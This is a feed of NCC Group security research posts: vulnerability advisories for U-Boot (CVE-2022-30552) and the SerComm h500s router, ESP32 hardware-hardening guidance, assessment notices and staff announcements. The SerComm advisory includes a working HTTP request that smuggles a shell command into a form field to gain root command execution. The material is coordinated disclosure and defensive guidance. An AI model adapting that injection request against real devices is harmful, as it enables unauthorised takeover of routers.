This bug was disclosed to U-Boot support team and will be fixed in an upcoming patch. Update to the latest master branch version once the fix has been committed.

Large buffer overflow leads to DoS in U-Boot IP Packet Defragmentation Code (CVE-2022-30552)

Project U-Boot
Project URL https://github.com/u-boot/u-boot
Versions affected all versions up to commit TBD
Systems affected All systems defining CONFIG_IP_DEFRAG
CVE identifier CVE-2022-30552
Advisory URL TBD
Risk High 7.1 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H)
Authors Nicolas Guigo, Nicolas Bidron

Summary

U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most linux based embedded systems.

Location

u-boot/net/net.c lines 915 and 1011.

Impact

The U-Boot implementation of RFC815 IP DATAGRAM REASSEMBLY ALGORITHMS is susceptible to a buffer overflow through a specially crafted fragmented IP Datagram with an invalid total length which causes a denial of service.

Description

In compiled versions of U-Boot that define CONFIG_IP_DEFRAG, a value of ip->ip_len (IP packet header’s total length) lower than IP_HDR_SIZE leads to len taking a negative value, which ultimately results in a buffer overflow during the subsequent call to memcpy() that uses len as its count parameter.

This bug is only exploitable from the local network as it requires crafting a malformed packet with an ip_len value lower than the minimum accepted total length (21 as defined in the IP specification document: RFC791) which would most likely be dropped during routing.

static struct ip_udp_hdr *__net_defragment(struct ip_udp_hdr *ip, int *lenp)
{
	static uchar pkt_buff[IP_PKTSIZE] __aligned(PKTALIGN);
	static u16 first_hole, total_len;
	struct hole *payload, *thisfrag, *h, *newh;
	struct ip_udp_hdr *localip = (struct ip_udp_hdr *)pkt_buff;
	uchar *indata = (uchar *)ip;
	int offset8, start, len, done = 0;
	u16 ip_off = ntohs(ip->ip_off);

	/* payload starts after IP header, this fragment is in there */
	payload = (struct hole *)(pkt_buff + IP_HDR_SIZE);
	offset8 =  (ip_off & IP_OFFS);
	thisfrag = payload + offset8;
	start = offset8 * 8;
	len = ntohs(ip->ip_len) - IP_HDR_SIZE;

The last line of the previous excerpt from u-boot/net/net.c shows where the underflow to a negative len value occurs if ip_len is set to a value strictly lower than 20 (IP_HDR_SIZE being 20). Also note that in the above excerpt the pkt_buff buffer has a size of CONFIG_NET_MAXDEFRAG which defaults to 16 KB but can range from 1KB to 64 KB depending on configurations.

	/* finally copy this fragment and possibly return whole packet */
	memcpy((uchar *)thisfrag, indata + IP_HDR_SIZE, len);

In the above excerpt the memcpy() overflows the destination by attempting to make a copy of nearly 4 gigabytes in a buffer that’s designed to hold CONFIG_NET_MAXDEFRAG bytes at most, which leads to a DoS.

Recommendation

This bug was disclosed to U-Boot support team and will be fixed in an upcoming patch. Update to the latest master branch version once the fix has been committed.

Disclosure Timeline

May 18th 2022: Initial e-mail from NCC to U-boot maintainers announcing two vulnerabilities were identified. U-Boot maintainers responded indicating that the disclosure process is to be handled publicly through U-Boot’s mailing list.

May 18th 2022: NCC posted a full writeup of the two vulnerabilities identified to U-Boot’s public mailing list.

May 25th 2022: a U-Boot maintainer indicated on the mailing list that they will implement a fix to the two findings.

May 26th 2022: a patch has been proposed by U-Boot maintainers to fix both CVEs through the mailing list.

May 31st 2022: U-boot maintainers and NCC Group agree to publishing the advisories in advance of patch deployment, given the public mailing-list-based discussion of the vulnerability and proposed fixes.

Thanks to

Jennifer Fernick, and Dave Goldsmith for their support through the disclosure process.

U-Boot’s maintainers.

Authors

Nicolas Guigo, and Nicolas Bidron

✇NCC Group Research

NCC Group’s Jeremy Boone recognized for Highest Quality and Most Eligible Reports through the Intel Circuit Breaker program

By: Jennifer Fernick

Congratulations to NCC Group researcher Jeremy Boone, who was recently recognized for both the Highest Quality Report, as well as the Most Eligible Reports, as an invited researcher to the Intel Circuit Breaker program!

Source: https://www.projectcircuitbreaker.com/camping-with-tigers/


From Intel:

This exclusive event invited a select group of security researchers to hunt vulnerabilities in the 11th Gen Intel® Core™ vPro® platform.Potential findings might involve any of the following:

  • Micro-architectural attacks
  • Firmware attacks like microcode
  • Platform configuration (Intel® vPro, Intel® Management Engine, etc.)
  • Platform design
  • Physical attacks (note that this is a deviation from our existing Bug Bounty policy)
  • Firmware attacks
  • Physical: I/O, storage, flash, memory, sensors, embedded controller, trusted platform module
  • Firmware: BIOS, IP firmware components, embedded controller, sensor, trusted platform module, storage, flash storage
  • Device drivers shipped with the device (such as Intel graphics drivers, Thunderbolt device drivers, Bluetooth device drivers, wireless drivers, ethernet drivers, chipset driver)



Jeremy Boone is a Technical Director in our Hardware & Embedded Systems practice, serving as mentor and leader to researchers across our hardware research program. He is perhaps best known for his research, TPM Genie, an I2C bus interposer for discrete Trusted Platform Modules

Congratulations Jeremy!

✇NCC Group Research

Conference Talks – June 2022

By: Jennifer Fernick

This month, members of NCC Group will be presenting their technical work & training courses at the following conferences:

  • NCC Group, “Training: Mastering Container Security,” to be presented at 44CON (June 13-15 2022)
  • NCC Group, “Training: Google Cloud Platform (GCP) Security Review,” to be presented at 44CON (June 13-16 2022)
  • Jennifer Fernick (NCC Group), Christopher Robinson (Intel), & Anne Bertucio (Google), “Preparing for Zero-Day: Vulnerability Disclosure in Open Source Software”, to be presented at Linux Security Summit North America (June 23-24 2022)
  • Jennifer Fernick (NCC Group) & Christopher Robinson (Intel), “Securing Open Source Software – End-to-End, at Massive Scale, Together,” to be presented at the Open Source Summit North America 2022 – Global Security Vulnerability Summit (June 23-24 2022)
  • Jose Selvi, “Cybersecurity, Intrusion Detection, & Machine Learning,” to be presented at Valencia 2022 Summer School – Challenges in Data Science: Big Data, Biostatistics, Artificial Intelligence, & Communications (June 27-July 1 2022)

Please join us!

Training: Mastering Container Security
NCC Group
44CON
June 13-15 2022

Containers and container orchestration platforms such as Kubernetes are on the rise throughout the IT world, but how do they really work and how can you attack or secure them?

This course takes a deep dive into the world of Linux containers, covering fundamental technologies and practical approaches to attacking and defending container-based systems such as Docker and Kubernetes.

In the 2022 version of the course the trainers will be focusing more on Kubernetes as it emerges as the dominant core of cloud native systems and looking at the wider ecosystem of products which are used in conjunction with Kubernetes.


Training: Google Cloud Platform (GCP) Security Review
NCC Group
44CON
June 13-16 2022


Ever more enterprises are moving their operations to the cloud, with customer adoption of Google Cloud Platform (GCP) steadily increasing. How can you ensure your cloud environment is secure?

NCC Group’s GCP security review training is a four-day course dedicated to security consultants and cloud architects interested in learning the principal elements of an environment based in Google’s cloud. It will discuss the techniques and tools necessary to perform a thorough security review and provide an understanding of the major risks, along with security best practices.

The course includes:

  • An introduction to GCP for people new to the platform, including general concepts and a comparison with other cloud providers
  • How to interact with GCP through the Cloud Console, CLI tool and SDK
  • An extensive discussion on the Identity and Access Management services with samples of policies and interesting attacks vectors
  • A review of networking in GCP, including typical topologies and common issues
  • A detailed look at the core services for computation, storage, databases, security and logging & monitoring
  • Tools which can help assess and secure GCP deployments


Preparing for Zero-Day: Vulnerability Disclosure in Open Source Software
Jennifer Fernick (NCC Group), Christopher Robinson (Intel), & Anne Bertucio (Google)
Linux Security Summit North America
June 23-24 2022

Open source software (OSS) is incredibly powerful – and while that power is often used for good, it can be weaponized when OSS projects contain software security flaws that attackers can use to compromise those systems, or even the entire software supply chains that those systems are a part of. The Open Source Security Foundation is an open, cross-industry group aimed at improving the security of the open source ecosystem. In this presentation, members of the OpenSSF Vulnerability Disclosure working group will be sharing with open-source maintainers advice on how to handle when researchers disclose vulnerabilities in your project’s codebase – and we’ll also take any questions you have about this often mysterious topic!


Securing Open Source Software – End-to-End, at Massive Scale, Together
Jennifer Fernick (NCC Group) & Christopher Robinson (Intel)
Open Source Summit North America 2022 – Global Security Vulnerability Summit
June 23-24 2022 (Austin, TX & Virtual)

Open source software is a significant part of the core infrastructure in most enterprises in most sectors around the world and is foundational to the internet as we know it. It also represents a massive and profoundly valuable attack surface. Each year more lines of source code are created than ever before – and along with them, vulnerabilities. In this presentation, we’ll share key lessons learned in our experience coordinating the industry-wide remediation of some of the most impactful vulnerabilities ever disclosed, present a threat model of the many unmitigated challenges to securing the open source ecosystem, share new data which illustrates just how fragile and interdependent the security our core infrastructure can be, debate the challenges to securing OSS at scale, and speak unspoken truths of coordinated disclosure and where it can fail. We will also discuss the Open Source Security Foundation (OpenSSF) and share guidance for how members of the security community can get involved and contribute meaningfully to improving the security of OSS – especially through coordinated industry-wide efforts.


Cybersecurity, Intrusion Detection, & Machine Learning
Jose Selvi (NCC Group)

Valencia 2022 Summer School – Challenges in Data Science: Big Data, Biostatistics, Artificial Intelligence, & Communications
June 27-July 1 2022

The cybersecurity industry is facing many new challenges related with the amount of data they have to manage. In the “at scale” era, the traditional signature-based approach is no longer a solution by itself. In this talk, we will see an example of how we could use machine learning to achieve a false positive reduction in intrusion detection systems..

✇NCC Group Research

Public Report – Lantern and Replica Security Assessment

By: Jennifer Fernick
Editor's Note: This security assessment was conducted by a team of our consultants, one of whom, Victor Hora, tragically and unexpectedly passed away a few weeks ago. As we publish this report, we miss our dear colleague immensely and celebrate Victor's life and his wonderful influence on the world. He was a talented security consultant, beloved colleague, and friend to all, who made the world a better place through his kindness, his joy, and - as we see in this publication - his commitment to using his deep technical talents to help serve others and protect the most vulnerable. May his memory serve as an everlasting reminder of the many ways our joy and talent can be used to help others and leave the world a better place than we found it. 


From September 28th through October 23rd, 2020, Lantern – in partnership with the Open Technology Fund – engaged NCC Group to conduct a security assessment of the Lantern client. Lantern provides a proxy in order to circumvent internet censorship. This assessment was open ended and time-boxed, providing a best-effort security analysis in a fixed amount of time. Source code was provided to the engagement team.

In the winter of 2022, NCC Group was asked to re-evaluate several findings after remediation efforts had been completed for Lantern, which are also included in this Public Report.

Scope & Limitations

NCC Group’s evaluation included:

  • Lantern Common Core: The main component of the software is the cross-platform Lantern core. The core is written principally in Go with some components in other languages, including C, C++, Objective-C, and JavaScript. Testing was performed on the Windows, Android, and iOS client implementations.
  • Replica: A new component within Lantern which is a censorship-resistant P2P content sharing platform. Replica leverages the BitTorrent protocol to provide distributed data access. The following third-party libraries are used to provide BitTorrent functionality:
    https://github.com/anacrolix/torrent
    https://github.com/anacrolix/confluence

This application is intended for use in countries where the Internet is censored and therefore its threat model includes risks related to attribution and privacy attacks beyond just software security vulnerabilities. Included in that threat model are well-resourced attackers with advanced capabilities such as reading or modifying HTTP/HTTPS traffic unbeknownst to the targets. Testing was performed on a production version of the client made available at https://getlantern.org/.

NCC Group achieved adequate coverage of the Go code, which forms the backbone of the Lantern client. Some related components were not evaluated:

  • Server-side components were not in scope for the assessment.
  • The project relies on many third-party libraries. These libraries were not thoroughly evaluated.

The Public Report for this review may be downloaded below:

✇NCC Group Research

NCC Group’s Juan Garrido named to Microsoft’s MSRC Office Security Researcher Leaderboard

By: Jennifer Fernick

Congratulations to NCC Group researcher Juan Garrido, who was recently named amongst Microsoft’s most valuable security researchers on the MSRC 2022 Q1 Security Researcher Leaderboard!

This honour, recognized quarterly by the Microsoft Researcher Recognition Program, is offered to security researchers who have discovered and shared security vulnerabilities in Microsoft products under coordinated vulnerability disclosure.

Juan Garrido received this recognition for finding and reporting issues such as:

  • Client Access Rules Bypass in Exchange Online
  • Network location Bypass for SharePoint Online
  • XSS in Teams dial in web application

Congratulations to Juan Garrido, as well as all of the MSRC Office Security Researcher Leaders for 2022 Q1!

Juan Garrido
Juan Garrido

Managing Security Consultant at NCC Group

Juan has also written several technical books and security tools including VOYEUR and AZUCAR, has been recognized by Microsoft as MVP for over five years, and has spoken at many renowned conferences including RootedCon, DEFCON, GsickMinds, BlackHat, BSides and Troopers.

✇NCC Group Research

Hardware Security By Design: ESP32 Guidance

By: Jameson Hyde

Within the Hardware and Embedded Systems practice at NCC Group, some engagements with clients are early in the design phases of a product. In other cases, however our first interaction occurs late in the development cycle, once a product has been designed, implemented, and functionally tested. While assessments performed at this time can help identify vulnerabilities and reasonable mitigations, certain security-impacting design decisions have already been set in stone and are not easily or cheaply changed. This is especially true as it relates to component selection, hardware design, and configuration. Security by design sets the foundation for these crucial controls to be appropriately implemented.

More often lately, System on a chip (SoC) vendors make hardware security features available that can and should underpin the security of products built on their platforms. In this blog post, NCC Group considers some of these features and the corresponding product design decisions for the current generation of Espressif’s ESP32 microcontrollers. The ESP32 is a platform commonly used in the broad span of IoT products that NCC Group assesses regularly and one that has continued to develop its hardware and SDK security features over multiple product generations.

Espressif provides ample documentation about these features, but how they translate to product security best practices is worth further discussion. Much of this discussion focuses on specific configuration details of the ESP32 family of microcontrollers and the recommended best practices associated with those details, but many broad recommendations included here apply to secure hardware designs in general.

ESP32 Best Practices

The importance of any given best practice depends on a variety of factors, some of which can be quite specific to the threat model of a product. With that caveat, since this is a generalized discussion, a general ordering of importance is applied here.

Secure Boot

Secure boot is an important security feature that prevents an attacker from tampering with firmware to execute arbitrary code. By enabling secure boot, the firmware image integrity and authenticity is verified against customer keys that were programmed during manufacturing. The nuanced details of how this integrity is validated matter.

ESP32 Implementation

The ESP32 supports two versions of secure boot.

Version 1 (V1) is based on a symmetric AES scheme that is no longer recommended as of ESP32 Revision 3.

Version 2 (V2) relies on RSA-PSS to verify the bootloader and application image at boot time before execution.

There is also support for App Signing Verification, the install-time verification of applications received over-the-air. Espressif acknowledges that there may be cases where this is warranted, but NCC Group strongly discourages the use of this feature as it precludes the use of boot-time verification.

Secure boot is very simply enabled by programming a properly configured bootloader. The idf.py menuconfig tool allows for this configuration and flashing. Once a properly configured bootloader, formatted partition table and signed application are flashed in this manner, secure boot will automatically be enabled.

But “simply” is not necessarily an apt word choice when discussing secure boot configuration. Enabling secure boot on any SoC involves a well-established process to burn eFuses, provision keys and load an initial signed image at manufacturing time. The image signing process too must ensure the cryptographic hygiene of the signing keys and the provenance of the images being signed. The management of the firmware signing key (that is, its generation, storage, usage, and rotation) are all important considerations that NCC Group has previously discussed at length.

Some SoC vendors, Espressif included, can enable secure boot prior to shipment to the device manufacturing facility, mitigating some threats to this process. This requires the public signing key and a signed initial image to be provided to Espressif, and confirmation at manufacturing time that the process was performed as expected. Disabling UART download mode may be postponed to later in manufacturing to mitigate the risk of any over-the-air update failure, but this too should be explicitly verified. Product manufacturing processes depend on several factors related to security, cost, and logistics, among other considerations. Contract manufacturing facilities or an OEM’s own facilities may be able to provide similar capabilities that provide more flexibility, but critically, this step should be performed in a trusted environment.

Debug Capabilities

What may be the most obvious configuration step is also one of the most critical. Too often, features that facilitate development and debugging make their way into production units, which can then later be used by attackers.

Hardware debug capabilities should be disabled in production devices to prevent a physical attacker from attaching a debugger, which may allow them to read/write SRAM and flash memory, exposing secrets or undermining secure boot.

ESP32 Implementation

On the ESP32, because JTAG debugging is implicitly disabled by the bootloader when secure boot or flash encryption are enabled, enabling these features as recommended does not require further action configuration to meet this recommendation.

However, it is worth noting that the CONFIG_SECURE_BOOT_ALLOW_JTAG configuration will circumvent this behavior, and so it is important to ensure that it is not changed from its default, cleared state in the project configuration. Similarly, the recovery ROM debug console provides an extensive set of debug capabilities that absolutely should be disabled by setting CONSOLE_DEBUG_DISABLE.

Flash Encryption

Many microcontrollers provide some amount of internal flash, distinct from an external SPI flash chip that may also be incorporated into a product design for additional persistent storage. Internal flash cannot be accessed via board traces or pads and so often represents a more suitable location for the storage of sensitive user data or code. Any such data stored in external flash must have suitable cryptographic controls to meet its associated confidentiality and integrity requirements.

ESP32 Implementation

All user flash used by the ESP32 is off-chip, providing a SPI interface that sophisticated attackers may access to read or modify flash contents. Furthermore, most application code is executed-in-place on flash.

The flash encryption feature, if enabled and configured appropriately, provides a measure of security for a variety of assets (including code) that are stored on the ESP32 flash, mitigating potential attacks that aim to expose the contents of memory.

The ESP32 supports flash encryption for its off-chip SPI flash component, providing confidentiality to any sensitive assets stored therein. The nuances and limitations of this feature, many of which are documented by Espressif, are important to note.

Data Integrity

Importantly, the flash encryption provided by the ESP32 is based on AES ECB mode with a “tweaked” key per block like AES XTS, a common primitive used in disk encryption. Although the scheme provides confidentiality, it offers no guarantees of data integrity. Modification of the ciphertext stored in flash will decrypt successfully in the absence of any other validation of the data.

Depending on what is stored in flash and how that data is handled by firmware, this may allow an attacker to impact the behavior of the device, for example by exploiting a memory safety vulnerability or causing the device to fall back into a re-initialization state.

Similarly, any code read or executed from flash after secure boot has run would be subject to similar tampering if the SPI flash interface is physically accessible. It is admittedly difficult to modify a ciphertext such that it decrypts to a binary capable of successfully running without extensive effort. In association with data integrity, an attacker with access to SPI flash may be able to rewrite a block with a known previous ciphertext to impact device behavior. Replay attacks of this nature may effectively allow a downgrade of data stored in flash (a whitelist or trusted certificate authority for example) to a previous, vulnerable version.

Block Size Disparity

The limitations of AES ECB are present in this encryption scheme despite the varying tweak described further below. Because AES uses 16-byte blocks, and the tweak is incremented for every 32 bytes, adjacent block-pairs are encrypted with the same key using AES ECB. If the content of these pairs is identical, the ciphertext too will be identical, which may reveal meaningful information to an attacker. An attacker with knowledge of the device’s flash layout may be able to determine the number of empty flash blocks based on the number of identical block-pairs, which may allow inference of sensitive information pertaining to the device or its users.

Fault Injection Attacks

In both 2019 and 2020, methods were disclosed to bypass flash encryption. With physical access, an attacker may be able to bypass the read protection on the flash encryption key, allowing them to decrypt flash contents. While these may be mitigated in newer hardware, the most recent public recommendation includes storing sensitive data in flash no longer than is necessary.

Key Provisioning

Additionally, to mitigate any potential attacks against assets stored in encrypted flash, the ESP32 allows unique encryption keys to be generated and provisioned to each device by default. This detail should be highlighted since unique and unexposed flash encryption keys are often an effective control, limiting the impact of a single compromised key and mitigating fleet-wide attacks. The ESP32 also supports a host-generated key, but the documentation astutely notes that this is not recommended for production.

Tweaked Keys

The algorithm to encrypt flash blocks involves the XORing of the block index with certain bits of the root key. NCC Group notes that this is distinct from a typical tweaked cipher such as AES XTS, though even established ciphers have known weaknesses in disk encryption. These distinctions and weaknesses do not necessarily undermine the basic goal of this flash encryption scheme to protect the confidentiality of flash-persisted data, but, may provide further support for caution when using flash encryption as a broad security control.

Tweak Size

Finally, NCC Group noted that the bits used for the tweak, that is the bits that are XORed with the root key, are configurable via the FLASH_CRYPT_CONFIG eFuse. If all bits of this eFuse are cleared, there will be no tweak of the root key over the entire flash space, effectively reducing the encryption scheme to AES ECB. An attacker with access to flash may, in this case, exploit the shortcomings of AES ECB to determine which blocks are alike, determine the contents of flash blocks with a chosen plaintext attack, or perform replay attacks more easily. NCC Group notes that while this is an optional eFuse configuration that should be avoided, the bootloader explicitly disallows it without explicit intervention, shown here.

/* CRYPT_CONFIG determines which bits of the AES block key are XORed 
with bits from the flash address, to provide the key tweak. 
CRYPT_CONFIG == 0 is effectively AES ECB mode (NOT SUPPORTED) 
For now this is hardcoded to XOR all 256 bits of the key. 
If you need to override it, you can pre-burn this efuse to the 
desired value and then write-protect it, in which case this 
operation does nothing. Please note this is not recommended! 
*/ 

ESP_LOGI(TAG, "Setting CRYPT_CONFIG efuse to 0xF"); 
new_wdata5 |= EFUSE_FLASH_CRYPT_CONFIG_M; 

Flash Encryption Recommendations

Per Espressif’s guidance, configure the bootloader to generate the flash encryption key on the part, unique per device.

Consider the sensitivity of assets stored within flash. While the effort to compromise this data may be more difficult with flash encryption, two considerations are of note:

• If authenticity of data stored in flash is required, and this data is not part of signed and version-controlled firmware, additional measures to protect against replay and ciphertext tampering must be implemented. This is not likely a requirement of a stored Wi-Fi password but may be for a SSID for example.

• If the data is of a sufficiently high value, such as a secret key common across all devices, the above-described attacks or similarly complex variants may be employed to extract it. This aligns with reasonable security best practices and Espressif’s specifically recommended mitigations to the described fault injection vulnerabilities that all secrets stored in device flash be unique per-device.

Lastly, use an NVS partition to store sensitive data. This provides some mitigation of the shortcoming associated with adjacent blocks being encrypted with the same key. In cases where a sensitive portion of flash requires frequent rewrites, designate a writable NVS partition dedicated to this purpose.

Boot Modes and UART capability

Without the appropriate eFuse configuration, the UART provides a mechanism to both update ESP32 firmware and to exercise tooling that can read sensitive device information.

The ESP32 provides the option to specify the source from which firmware will be loaded via the logic level of some GPIOs.

In ESP32 ECO V3 parts, a new eFuse UART_DOWNLOAD_DIS TKTK was added to disallow the DOWNLOAD_BOOT mode. This mode effectively provides flash access over UART. While secure boot should disallow any untrusted firmware from being loaded, restricting this access further limits any potential vulnerability. More importantly, this restricts access to eFuse that would normally be available by espefuse.py and accompanying UART commands that it uses. This provides a specific capability in cases where eFuse BLK3, available for user applications, is used to store an immutable device secret. Without this mechanism, the typical eFuse readout protection would be the only other chip-level method to prevent UART access to such a secret, but this would render it unreadable to software as well.

The UART_DOWNLOAD_DIS configuration should be set on production devices, shown here.

&gt; espefuse.py dump -p /dev/cu.SLAB_USBtoUART 
Connecting...esp32r0_delay... False 
.. 
Detecting chip type... ESP32 
BLOCK0 ( ) [0 ] read_regs: 00000000 2aec0d28 00cca803 000 
0a200 00001535 00100000 00000004 
BLOCK1 (flash_encryption) [1 ] read_regs: 00000000 00000000 00000000 000 
00000 00000000 00000000 00000000 00000000 
BLOCK2 (secure_boot_v1 s) [2 ] read_regs: 00000000 00000000 00000000 000 
00000 00000000 00000000 00000000 00000000 
BLOCK3 ( ) [3 ] read_regs: 00000000 00000000 00000000 000 
00000 00000000 00000000 00000000 00000000 
espefuse.py v3.0 
&gt; espefuse.py burn_efuse UART_DOWNLOAD_DIS 1 -p /dev/cu.SLAB_USBtoUART 
Connecting...esp32r0_delay... False 
.. 
Detecting chip type... ESP32 
espefuse.py v3.0 
The efuses to burn: 
from BLOCK0 
- UART_DOWNLOAD_DIS 
Burning efuses: 
- 'UART_DOWNLOAD_DIS' (Disable UART download mode (ESP32 rev3 only)) 0b0 - 0b1 
 

Check all blocks for burn... 
idx, BLOCK_NAME, Conclusion 
[00] BLOCK0 is not empty 
(written ): 0x0000000400100000000015350000a20000cca8032aec0d2800000000 

(to write): 0x00000000000000000000000000000000000000000000000008000000 
(coding scheme = NONE) 
. 
This is an irreversible operation! 
Type 'BURN' (all capitals) to continue. 
BURN 
BURN BLOCK0 - OK (all write block bits are set) 
Reading updated efuses... 
Checking efuses... 
Successful 
&gt; espefuse.py dump -p /dev/cu.SLAB_USBtoUART 
Connecting...esp32r0_delay... False 
.....esp32r0_delay... True 
_____esp32r0_delay... False 
.....esp32r0_delay... True 
_____esp32r0_delay... False 
.....esp32r0_delay... True 
[email protected]! .... forever: Download mode is locked down and the chip is no longer accessible 

Rollback Protection

Anti-rollback is an important feature that prevents an attacker from “updating” a device with an older firmware image version. An attacker may wish to downgrade firmware if the older version happens to contain known vulnerabilities that can be easily exploited. Such scenarios are advantageous to an adversary that wishes to compromise the device to expose the sensitive contents of memory or to achieve code execution.

ESP32 Implementation

As part of the over-the-air update process the ESP32 supports a mechanism for rollback prevention, in which a secure_version field within an application is compared against that stored in eFuse. Because of the nature of the eFuse value used, secure_version is limited to 32 values. It should be noted that if firmware updates are distributed over an authenticated channel, the threat of downgrading to a vulnerable version, mitigated by rollback prevention, requires the existence of a vulnerability in this OTA functionality or physical access to the device flash. This threat is therefore generally considered to be minimal risk. In cases where signed firmware is distributed over an insecure channel or from a user application that may be more easily exploited, the threat of this downgrade is more likely.

Enabling rollback prevention per Espressif’s documentation involves configuring the bootloader with the CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK option and calling esp_ota_mark_app_valid_cancel_rollback() at some reasonable time after boot to establish the currently running firmware as stable, preventing rollback thereafter without risking a denial of service in the event of an unstable firmware update.

As part of a software maintenance process, some criteria to increase the secure_version of application updates that aligns with the release schedule and product lifetime of these updates should be established. For example, assuming a quarterly release cycle and a product lifetime of 10 years, this may involve increasing this value on alternating releases, allowing some flexibility to increase it in hot-fix scenarios where a known vulnerability must be patched and disallowed from running.

If a 32-value range is determined to be insufficient, a secondary, weaker form of rollback prevention may be implemented at install time, in which a signed version header or timestamp is first validated against that of the currently installed application, disallowing downgrade through this flow. In the event of a critical vulnerability to the application or this check in particular, the bootloader-based rollback prevention may instead be used by incrementing the secure_version field. The secure_version field should be incremented at some reasonable minimum cadence regardless of the details of this design.

Secure Factory Reset

Devices may store sensitive data long after they have been decommissioned, allowing vulnerabilities discovered later to be exploited if obtained.

While regulations and definitions pertaining to the handling of personal information exist, the sensitivity of stored data can vary significantly by a user’s treatment of this data is in many ways outside of the scope and control of the OEM, as is the potential impact in the event of its exfiltration. Similar can be said of any other user data that may be potentially sensitive. A reset mechanism that erases these sensitive assets provides an option to the customer to incorporate it into any processes where their sensitive data stored on these devices may be unnecessarily exposed.

ESP32 Implementation

In the case of the ESP32, the flash erase API is straightforward and does not distinguish between secure erasure of blocks and deletion or invalidation of individual portions, but regardless of the implementation, explicitly overwriting stored data with zeroes is prudent. If, however, NVS is used, past entries are stored even if updated with more recent values, and so the entire NVS partition should be erased.

As part of product design, it is worthwhile to enumerate all potentially sensitive user data stored in device flash. This may include device logs, state information, mobile device pairing information, and authentication keys or tokens. Implement a mechanism to allow the customer to overwrite this data as part of a decommissioning process. While allowing this to be done remotely may be convenient, this should ideally be possible in scenarios where the device is in some unrecoverable state, thus encouraging the implementation of factory reset capability via a physical button.

Finally, it is important to test this functionality by dumping flash using ESP tools after performing this erasure, ensuring that even unused partitions (for example as part of a multi-partition firmware update “A/B” scheme) are similarly erased.

Wi-Fi Provisioning

Finally, one fairly core requirement of IoT devices is the initial establishment of Wi-Fi credentials. These credentials should be secured at rest once on the device, as discussed in the Flash Encryption section above. The secure transmission of the credentials is another important consideration. In the absence of a complete user interface on the device, some out-of-band key exchange between an initializing user application and the device is necessary to accomplish this.

ESP32 Implementation

Espressif provides a couple options for this out-of-the-box, using either SoftAP mode that strictly relies on Wi-Fi, or BLE.

With respect to SoftAP mode, it is important to set the wifi_prov_security argument to WIFI_PROV_SECURITY_1, as shown in Espressif’s sample implementation.

In addition to protecting the Wi-Fi credentials themselves, it is further important to consider the circumstances that the device can enter the provisioning mode to connect to another network. The threats associated with this consideration will vary, but often, physical access to the device to factory reset it or otherwise force a reprovisioning state is a reasonable method. Still, this does not necessarily address physical threats in a multi-tenant environment such as an office building, hotel, or outdoors, and so additional consideration is warranted to ensure that the device is connected to a trusted network even when that network is unavailable or must be changed.

Conclusion

The above discussion covers some of the main considerations that should be established early in the design of any ESP32-based product. Provisioning a root of trust, determining how and where to store secrets, and configuring eFuses are all critical to product security and not easily addressed late in the release cycle or in-field.

The focus of this discussion is specific to the ESP32, so more general topics like trusted device identity and secure communication with other endpoints are not covered. They are however similarly critical in embedded device security and warrant similar prioritized consideration. Furthermore, many of the topics discussed above apply to the general best practices of embedded device security regardless of SoC choice. The details however will vary in their design, level of support, and public transparency. Few of these topics are straightforward, and it has taken generations of iteration for such features to be made available and hardened by SoC vendors. In cases where the SoC vendor does not provide guidance on how to address a particular security requirement, it is often left to the OEM to implement in firmware, which can present a greater likelihood of vulnerability due to the comparative lack of oversight and scrutiny that product-specific designs and implementations are given.

✇NCC Group Research

Public Report – go-cose Security Assessment

By: Jennifer Fernick

In April and May 2022, NCC Group Cryptography Services engaged in a security and cryptography assessment reviewing Microsoft’s contributions to the go-cose library, a Go library implementing signing and verification for CBOR Object Signing and Encryption (COSE), as specified in RFC 8152. This library focuses on a minimal feature set to enable the signing and verification of COSE messages using a single signer, aka “sign1”. The purpose of this assessment was to identify cryptographic vulnerabilities and application-level security issues that could adversely affect the security of the go-cose library.

The Public Report for this review may be downloaded below:

✇NCC Group Research

Technical Advisory – SerComm h500s – Authenticated Remote Command Execution (CVE-2021-44080)

By: Diego Gómez Marañon
Current Vendor: SerComm
Vendor URL: https://www.sercomm.com
Systems Affected: SerComm h500s
Versions affected: lowi-h500s-v3.4.22
Authors: Diego Gómez Marañón & @rsrdesarrollo
CVE Identifier: CVE-2021-44080
Risk: 6.6(Medium)- AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

The h500s is a router device manufactured by SerComm and packaged by a few telecoms providers in Spain (and possibly other regions) to provide CPE DSL network connectivity and local Wi-Fi network access to their customers.

During internal NCC Group research, an authenticated arbitrary command execution vulnerability was discovered in the device. In order to trigger the vulnerability, an attacker must be able to log into the device as a privileged user to access the vulnerable functionality of the device.

Impact

Successful exploitation can result in arbitrary code execution in the security context of the running server process, which runs as root.

Details

The setup.cgi file which is executed by the mini_httpd binary does not correctly sanitize the user-input data in one of its diagnostic functionalities. As a result special characters can be used to execute arbitrary commands.

The request below was used to abuse the mentioned functionality:

POST /data/statussupport_diagnostic_tracing.json?csrf_token=[..] HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en-GB,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: session_id=[..]
Content-Length: 79

connection_type=br0$(/bin/ping%20-c%203%20192.168.0.10>/dev/null)&run_tracing=1

Recommendation

It is recommended to update to the latest available version. It may be the case that the ISP is responsible for updating the device remotely.

Vendor Communication

  • 25/02/2021 – Initial approach to SerComm by email. Vulnerability details also sent.
  • 01/03/2021 – Response from SerComm confirming the vulnerability and that it would be patched in their next release
  • 11/03/2021 – Proposed a 120-day disclosure policy to help times fixing the vulnerability.
  • 16/03/2021 – Confirmed the 120-days extension for disclosing.
  • 01/10/2021 – Approach to SerComm to inform a CVE was requested and a blog post will be published.
  • 18/10/2021 – SerComm PSIRT confirms to NCC Group via email that this vulnerability has been patched.
  • 24/05/2022 – Advisory published

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published date: 24/05/2022
Proof of Concept: Video
Authors: Diego Gómez Marañón (https://www.linkedin.com/in/dgmaranon) & @rsrdesarrollo

✇NCC Group Research

